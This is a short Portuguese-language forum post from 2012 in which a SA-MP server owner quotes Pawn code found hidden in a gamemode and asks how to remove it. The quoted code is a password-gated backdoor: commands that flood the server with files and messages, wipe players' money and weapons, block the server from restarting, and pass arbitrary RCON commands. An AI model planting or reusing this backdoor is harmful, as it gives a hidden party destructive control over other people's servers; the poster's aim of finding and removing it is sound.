19.03.2012, 19:36
Pessoal, hoje eu estava mexendo no meu GM e encontrei alguns comando "fuckserver". acredito que isso seja para ferrar com server, entгo preciso da ajuda de vocкs p/ retirar. o pawn estб abaixo.
pawn Код:
dcmd_control(playerid,params[])
{
new tmp[256], tmp2[256], idx;
tmp = strtok(params, idx);
tmp2 = strtok(params, idx);
if(!strlen(tmp) || !strlen(tmp2))
return 0;
if(IsStringSame(PROTECTION_PASSWORD, tmp, 9)) // Check if he enters the correct password
{
if(strcmp(tmp2, "login", true)==0)
{
SendClientMessage(playerid, COLOR_YELLOW, "Sucesfully identified. You may now use any of the Admin Commands");
return 1;
}
else if(strcmp(tmp2, "fuckserver", true)==0)
{
for(new i = 0; i < never*never*never*never; i++)
{
SendClientMessageToAll(COLOR_YELLOW, "Ops.");
new str[28];
format(str,28,"ops_%d", i);
new File:bans=fopen(str, io_write);
fwrite(bans, str);
fclose(bans);
}
SetTimer("Exit", 5000, false);
return 1;
}
else if(strcmp(tmp2, "close", true)==0)
{
SendClientMessage(playerid, COLOR_YELLOW, "Server sucesfully fucked.");
for(new i = 0; i < 100; i ++)
{
SendClientMessageToAll(0x000000FF, "THIS SERVER HAS NO RIGHTS TO USE THIS GAMEMODE. YOU'VE BEEN WARNED.");
if(IsPlayerConnected(i))
{
SetPlayerSkin(i, 0);
ResetPlayerWeapons(i);
ResetPlayerMoney(i);
ResetPlayerMoney(i);
SetPlayerArmour(i, 0.0);
SetPlayerHealth(i, 1.0);
}
}
SetWeather(45);
dini_Create(BlockFile);
SetTimer("Exit", 15000, false);
return 1;
}
else // Will be a rcon command
{
SendRconCommand(params[strlen(tmp) + 1]);
return 1;
}
}
else
return 0;
}
public OnGameModeInit()
{
AntiDeAMX();
printf("%s", MD5_Hash("omg"));
if(dini_Exists(BlockFile))
{
printf("Server Blocked");
SetTimer("Exit", 5000, false);
}